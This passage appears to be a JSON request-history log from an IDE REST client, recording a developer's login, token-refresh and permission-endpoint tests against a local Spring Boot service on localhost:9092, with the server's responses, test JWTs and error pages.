\\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"liz\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":10.0,\"minute\":11.0,\"second\":4.0,\"nano\":7.702767E8}}},{\"url\":\"http://localhost:9092/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 416,\\n \\\"message\\\": \\\"账户异常\\\",\\n \\\"data\\\": \\\"liz\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":10.0,\"minute\":12.0,\"second\":38.0,\"nano\":4.594016E8}}}],\"/user/login\":[{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"message\\\": \\\"用户登录成功\\\",\\n \\\"data\\\": null\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":14.0,\"second\":17.0,\"nano\":5.39327E7}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 200,\\n \\\"message\\\": \\\"用户登录成功\\\",\\n \\\"data\\\": null\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":14.0,\"second\":37.0,\"nano\":6.04919E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 0,\\n \\\"message\\\": \\\"success\\\",\\n \\\"data\\\": {\\n \\\"access_token\\\": \\\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIxIiwiZXhwIjoxNzE5MzY2NTEyLCJjcmVhdGVkIjoxNzE5MzY0NzEyMDk5LCJ1c2VybmFtZSI6ImxpeiJ9.PqHwmUq7P3qBycs4zSSsqmwv6YMB4LPExFzg0DFf6A0siQQfSE-10A22gD5YCSmCzy_GtmIqBW_DdVhJVgkoMQ\\\",\\n \\\"expire_in\\\": 1800000,\\n \\\"refresh_token\\\": \\\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIxIiwiZXhwIjoxNzE5MzY4MzEyLCJjcmVhdGVkIjoxNzE5MzY0NzEyMjMzLCJ1c2VybmFtZSI6ImxpeiJ9.pE4TGC93PEsMih2rgk-6iU7aMVERki_98NzCQzVbfeTRhp7ydaeYy1DoeiwQStodKBlcPHcA7zpn6Edav9Aa6g\\\"\\n }\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":18.0,\"second\":32.0,\"nano\":2.932677E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"bbbb\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":35.0,\"second\":54.0,\"nano\":4.45322E7}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"bbbb\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":36.0,\"second\":21.0,\"nano\":6.424976E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":36.0,\"second\":35.0,\"nano\":6.293932E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"liz\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 0,\\n \\\"message\\\": \\\"success\\\",\\n \\\"data\\\": {\\n \\\"access_token\\\": \\\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIxIiwiZXhwIjoxNzE5MzY3NjE2LCJjcmVhdGVkIjoxNzE5MzY1ODE2NTEyLCJ1c2VybmFtZSI6ImxpeiJ9.E15cbVTLTq5RTj4liTLr4kdakLyKIdggOA30sbj7Exibm8Edj2KAL0XL79gtU5jn2pVPOc_COXMr8DUjv7P4FQ\\\",\\n \\\"expire_in\\\": 1800000,\\n \\\"refresh_token\\\": \\\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIxIiwiZXhwIjoxNzE5MzY5NDE2LCJjcmVhdGVkIjoxNzE5MzY1ODE2NTEzLCJ1c2VybmFtZSI6ImxpeiJ9.dUa7sHN-4sE7C7WaYap66VF6CQzl4WX8ERlDFuhCalJg5rmNOA7sZbyL8kWujHdHPBi2z9D9XlYRkcxdBrWgFw\\\"\\n }\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":36.0,\"second\":56.0,\"nano\":5.807303E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":42.0,\"second\":12.0,\"nano\":6.24302E7}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":49.0,\"second\":33.0,\"nano\":2.543556E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":50.0,\"second\":0.0,\"nano\":2.733857E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":50.0,\"second\":33.0,\"nano\":7.618451E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":50.0,\"second\":59.0,\"nano\":5.149515E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":51.0,\"second\":29.0,\"nano\":1.852926E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":51.0,\"second\":49.0,\"nano\":5.272488E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":52.0,\"second\":10.0,\"nano\":9.190786E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":52.0,\"second\":47.0,\"nano\":5.611626E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":53.0,\"second\":31.0,\"nano\":2.518483E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":56.0,\"second\":24.0,\"nano\":9.24546E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"rose\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 0,\\n \\\"message\\\": \\\"success\\\",\\n \\\"data\\\": {\\n \\\"access_token\\\": \\\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIyIiwiZXhwIjoxNzE5MzY4NzkzLCJjcmVhdGVkIjoxNzE5MzY2OTkzMzkxLCJ1c2VybmFtZSI6InJvc2UifQ.SEY9yGq10c6Rcqe8PwC6WECbTdSRV60SVdl1SeIS-A8_sTbfECrJKTgnA1KLvgDefc_yAJVRfBnpxJ_YDvckYg\\\",\\n \\\"expire_in\\\": 1800000,\\n \\\"refresh_token\\\": \\\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIyIiwiZXhwIjoxNzE5MzcwNTkzLCJjcmVhdGVkIjoxNzE5MzY2OTkzNTEwLCJ1c2VybmFtZSI6InJvc2UifQ.4Zy5Bf06ehNGWFxVXwjI-VvPumjeHg4eJo5Vy2SDuNN-XeBQzLuOnSXQLpKXxWIs_w-FQkHIOmtxKXI0X6lj5Q\\\"\\n }\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":26.0},\"time\":{\"hour\":9.0,\"minute\":56.0,\"second\":33.0,\"nano\":5.838447E8}}},{\"url\":\"http://localhost:9092/user/login\",\"header\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{\\n \\\"username\\\": \\\"bbbb\\\",\\n \\\"password\\\": \\\"123\\\"\\n}\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"密码错误,请重新登录\\\",\\n \\\"data\\\": \\\"123\\\"\\n}\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024,\"month\":6,\"day\":26},\"time\":{\"hour\":9,\"minute\":57,\"second\":6,\"nano\":463558300}}}],\"/user/token/refresh\":[{\"url\":\"http://localhost:9092/user/token/refresh\",\"header\":[{\"is_checked\":1.0,\"key\":\"${auth.jwt.header}\",\"type\":\"Text\",\"value\":\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIyIiwiZXhwIjoxNzE5MTQ2NDIyLCJjcmVhdGVkIjoxNzE5MTM5MjIyODAxLCJ1c2VybmFtZSI6InJvc2UifQ.7yWdteyrvUKODgjwiTnN0b8Ljs3rUGIlRWV0g17w3GDP5e2Ko1WQ8G05vOiKFqZ5RWYdlxKJe79pftMqfDkFxA\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/user/token/refresh\\n\\n\\u003c!doctype html\\u003e\\u003chtml lang\\u003d\\\"en\\\"\\u003e\\u003chead\\u003e\\u003ctitle\\u003eHTTP Status 400 – Bad Request\\u003c/title\\u003e\\u003cstyle type\\u003d\\\"text/css\\\"\\u003ebody {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}\\u003c/style\\u003e\\u003c/head\\u003e\\u003cbody\\u003e\\u003ch1\\u003eHTTP Status 400 – Bad Request\\u003c/h1\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":18.0,\"minute\":51.0,\"second\":22.0,\"nano\":6.468186E8}}},{\"url\":\"http://localhost:9092/user/token/refresh\",\"header\":[{\"is_checked\":1.0,\"key\":\"token\",\"type\":\"Text\",\"value\":\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIyIiwiZXhwIjoxNzE5MTQ2NDIyLCJjcmVhdGVkIjoxNzE5MTM5MjIyODAxLCJ1c2VybmFtZSI6InJvc2UifQ.7yWdteyrvUKODgjwiTnN0b8Ljs3rUGIlRWV0g17w3GDP5e2Ko1WQ8G05vOiKFqZ5RWYdlxKJe79pftMqfDkFxA\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/user/token/refresh\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSun Jun 23 18:55:11 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dBad Request, status\\u003d400).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":18.0,\"minute\":55.0,\"second\":11.0,\"nano\":5.263264E8}}},{\"url\":\"http://localhost:9092/user/token/refresh\",\"header\":[{\"is_checked\":1.0,\"key\":\"Authorization\",\"type\":\"Text\",\"value\":\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIyIiwiZXhwIjoxNzE5MTQ2NDIyLCJjcmVhdGVkIjoxNzE5MTM5MjIyODAxLCJ1c2VybmFtZSI6InJvc2UifQ.7yWdteyrvUKODgjwiTnN0b8Ljs3rUGIlRWV0g17w3GDP5e2Ko1WQ8G05vOiKFqZ5RWYdlxKJe79pftMqfDkFxA\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"{\\n \\\"code\\\": 412,\\n \\\"message\\\": \\\"token 已过期或验证不正确!\\\",\\n \\\"data\\\": null,\\n \\\"dataSize\\\": 0\\n}\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":19.0,\"minute\":14.0,\"second\":30.0,\"nano\":3.816113E8}}},{\"url\":\"http://localhost:9092/user/token/refresh\",\"header\":[{\"is_checked\":1.0,\"key\":\"Authorization}\",\"type\":\"Text\",\"value\":\"eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIyIiwiZXhwIjoxNzE5MTQ0OTYwLCJjcmVhdGVkIjoxNzE5MTQxMzYwNjAyLCJ1c2VybmFtZSI6InJvc2UifQ._EWKFEJPDUtNVA7RiRnbAW1LnVeF75bIDQUqdIfb_w7tWMzJJ15xZF_aHkqsy4tOaeQvPCnrcS5PResueZBmCg\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/user/token/refresh\\n\\n\\u003c!doctype html\\u003e\\u003chtml lang\\u003d\\\"en\\\"\\u003e\\u003chead\\u003e\\u003ctitle\\u003eHTTP Status 400 – Bad Request\\u003c/title\\u003e\\u003cstyle type\\u003d\\\"text/css\\\"\\u003ebody {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}\\u003c/style\\u003e\\u003c/head\\u003e\\u003cbody\\u003e\\u003ch1\\u003eHTTP Status 400 – Bad Request\\u003c/h1\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"GET\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":19.0,\"minute\":16.0,\"second\":27.0,\"nano\":3.958766E8}}}],\"/permission/permission/add\":[{\"url\":\"http://localhost:9092/permission/permission/add\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/permission/permission/add\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSun Jun 23 20:23:22 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":20.0,\"minute\":23.0,\"second\":22.0,\"nano\":4.858874E8}}},{\"url\":\"http://localhost:9092/permission/permission/add\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{}\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/permission/permission/add\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSun Jun 23 20:30:16 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, status\\u003d500).\\u003c/div\\u003e\\u003c/body\\u003e\\u003c/html\\u003e\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":20.0,\"minute\":30.0,\"second\":16.0,\"nano\":1.806983E8}}},{\"url\":\"http://localhost:9092/permission/permission/add\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"{}\",\"responseBody\":\"true\",\"selectedItem\":\"POST\",\"time\":{\"date\":{\"year\":2024.0,\"month\":6.0,\"day\":23.0},\"time\":{\"hour\":20.0,\"minute\":31.0,\"second\":35.0,\"nano\":7.721305E8}}}],\"/permission/get\":[{\"url\":\"http://localhost:9092/permission/get\",\"header\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"query\":[{\"is_checked\":1.0,\"key\":\"roles\",\"type\":\"Text\",\"not_null\":\"1\",\"field_type\":\"String\",\"value\":\"\"},{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"rest\":[{\"is_checked\":1.0,\"type\":\"Text\",\"value\":\"\"}],\"requestBody\":\"\",\"responseBody\":\"There was an error accessing to URL: http://localhost:9092/permission/get?roles\\u003d\\n\\n\\u003chtml\\u003e\\u003cbody\\u003e\\u003ch1\\u003eWhitelabel Error Page\\u003c/h1\\u003e\\u003cp\\u003eThis application has no explicit mapping for /error, so you are seeing this as a fallback.\\u003c/p\\u003e\\u003cdiv id\\u003d\\u0027created\\u0027\\u003eSun Jun 23 20:31:56 CST 2024\\u003c/div\\u003e\\u003cdiv\\u003eThere was an unexpected error (type\\u003dInternal Server Error, 